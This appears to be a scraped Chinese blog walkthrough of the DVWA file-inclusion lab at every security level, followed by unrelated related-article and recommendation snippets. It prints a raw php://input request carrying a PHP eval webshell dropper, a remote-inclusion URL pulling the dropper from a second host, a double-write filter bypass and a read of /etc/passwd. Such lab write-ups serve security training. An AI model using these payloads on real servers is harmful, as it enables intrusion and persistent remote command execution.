File Inclusion(文件包含)

前言

本地文件包含:输入相对路径和文件名即可

远程文件包含:输入远程地址,会自动解析php代码

PHP伪协议

file://	——访问本地文件系统
http:// ——访问HTTP(s)网址
ftp:// ——访问FTP(s)URLs
php:// ——访问各个输入输出流(I/O streams)
data:// ——数据(RFC 2397)
phar:// ——PHP归档

php://filter(本地磁盘文件进行读取)

php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。

file://(读取文件内容)

data://(读取文件,和php://input类似)

phar://(不管后缀是什么,都会解压缩)

1.Low

get webshell

本地文件包含

构造POST请求包上传文件

POST /vulnerabilities/fi/?page=php://input HTTP/1.1
Host: 192.168.171.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://192.168.171.10
DNT: 1
Connection: close
Referer: http://192.168.171.10/vulnerabilities/fi/?page=include.php
Cookie: PHPSESSID=ncdmp2l6fq938hds1mrrcshvg2; security=low
Upgrade-Insecure-Requests: 1 <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>

这个php代码的意思是新建一个shell.php的文件,内容是<?php @eval($_POST[shell])?>');?>,即一句话木马。
用蚁剑连接
可以正常执行命令,获取webshell

有关文件上传的更多知识,请查看:DVWA File Upload(文件上传)

远程文件包含

可以在远程服务器上网站目录上创建以下内容文件,注意后缀名不能设置成.php,不然会被远程服务器解析php代码,而不是靶机解析。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>

然后用靶机网站文件包含打开服务器的文件,写入一句话木马就成功了。

http://192.168.171.10/vulnerabilities/fi/?page=http://192.168.171.2/shell.jpg

2.Medium

http:// , https://等特殊字符过滤掉了。

可以把

http://192.168.171.10/vulnerabilities/fi/?page=http://192.168.171.2/shell.jpg

改成

http://192.168.171.10/vulnerabilities/fi/?page=hthttp://tp://192.168.171.2/shell.jpg

即在http://两边再加上http://即可绕过过滤。

即构造hthttp://tp:,当http://被过滤掉时,剩下的字符自动拼接在一起,就形成了http://

该绕过方法被称为双写绕过

3. High

只能包含file开头的文件

file:// 用来访问本地文件

http:// 用来访问网络中的文件

High级别还是可以访问本地文件。

无法上传一句话木马,但还是可以查看靶机电脑的文件。

Linux 系统中的/etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息

4.Impossible

比较安全

只能打开file1、file2、file3、include.php,彻底杜绝了文件包含漏洞。

DVWA File Inclusion(文件包含)全等级的更多相关文章

  1. DVWA之File Inclusion(文件包含)

    目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...

  2. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  3. DVWA File Inclusion 通关教程

    File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...

  4. DVWA-File Inclusion(文件包含)

    文件包含漏洞,当我们在一个代码文件想要引入.嵌套另一个代码文件的时候,就是文件包含. 常见的文件包含函数有include require等函数. 这两个函数的区别就是include在包含文件不存在时p ...

  5. dvwa——命令注入&文件包含

    命令注入 commond_injection 源码.分析.payload: low: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input ...

  6. 2. DVWA亲测文件包含漏洞

    Low级:     我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...

  7. DVWA各级文件包含漏洞

    File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...

  8. DVWA 黑客攻防演练(四)文件包含 File Inclusion

    文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件等.下面一起来看看 DVWA 中的文件包 ...

  9. 文件包含(File Inclusion)

    什么是文件包含? 本室旨在为您提供利用文件包含漏洞的基本知识,包括本地文件包含 (LFI).远程文件包含 (RFI) 和目录遍历.此外,我们将讨论这些漏洞被发现后的风险以及所需的补救措施 在某些情况下 ...

  10. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

随机推荐

  1. 「codeforces - 1608F」MEX counting

    link. 首先考虑暴力,枚举规划前缀 \([1, i]\) 和前缀 mex \(x\),则我们需要 \(x\) 个数来填了 \([0, x)\),还剩下 \(i-x\) 个数随便填 \([0, x) ...

  2. 在线问诊 Python、FastAPI、Neo4j — 构建问题分类器

    目录 构建字典数据 构建 Trie 字典树 按实体组装字典 问题分析 将问题进行分析,和系统已有的分类进行关联 构建字典数据 将构建的知识图片字典化, 用于后面对问题的解析,下图为症状的字典,其它字典 ...

  3. Biwen.QuickApi代码生成器功能上线

    [QuickApi("hello/world")] public class MyApi : BaseQuickApi<Req,Rsp>{} 使用方式 : dotnet ...

  4. 内网离线安装docker并配置使用nexus为docker私服

    背景 本文简单记录下最近在内网服务器离线安装docker及配置nexus作为docker私服,踩的一些坑.docker和k8s这块技术我跟得不是很紧,18年的时候用过一阵docker,后来发现它并不能 ...

  5. 使用ensp搭建路由拓扑,并使用isis协议实现网络互通实操

    转载请注明出处: 1.通过拓扑搭建如下拓扑: 其中R7.R8为L1,R6为L1/2,R9为L2. 2.配置isis实现网络互通 R7配置如下: [Huawei]isis 1 [Huawei-isis- ...

  6. 其它——Siege压力测试工具使用

    文章目录 Siege压力测试工具使用 一 Siege介绍 二 windows 下使用 三 mac和linux使用 四 使用 五 参数详解 六 结果详解 七 修改系统的文件描述符限制 Siege压力测试 ...

  7. 轻松掌握组件启动之MongoDB:快速入门、Linux安装和Docker配置指南

    引言 我们将继续深入研究组件启动专题.在之前的文章中,我们已经详细介绍了Redis的各种配置使用方法,为读者提供了全面的指导.然而,今天我们将转向另一个备受关注的数据库--MongoDB.MongoD ...

  8. vue3 移动端添加暗门 vconsole调试和显示隐藏

    一.说明 需求: 生产环境出bug,是app单点登录,没法调试,需要加一个vconsole,但是不影响其他用户使用,于是想到用暗门的方式 实现: 最终实现如上图,点击个人中心几个字,点击10次显示vc ...

  9. `.NET Web`新人入门必学项目`EarthChat`

    .NET Web新人入门必学项目EarthChat EarthChat是一个基于.NET 7的实战项目,EarthChat提供了很多的最佳实践,EarthChat的目标也是成为一个很多人都喜欢的大型聊 ...

  10. [Python急救站课程]Hello Kitty的绘制

    我女朋友喜欢Hello Kitty,当她知道我会用Python画图,让我给画一个,怎么说呢,当然要安排上啦!请看程序 import math import turtle as t # 计算长度.角度 ...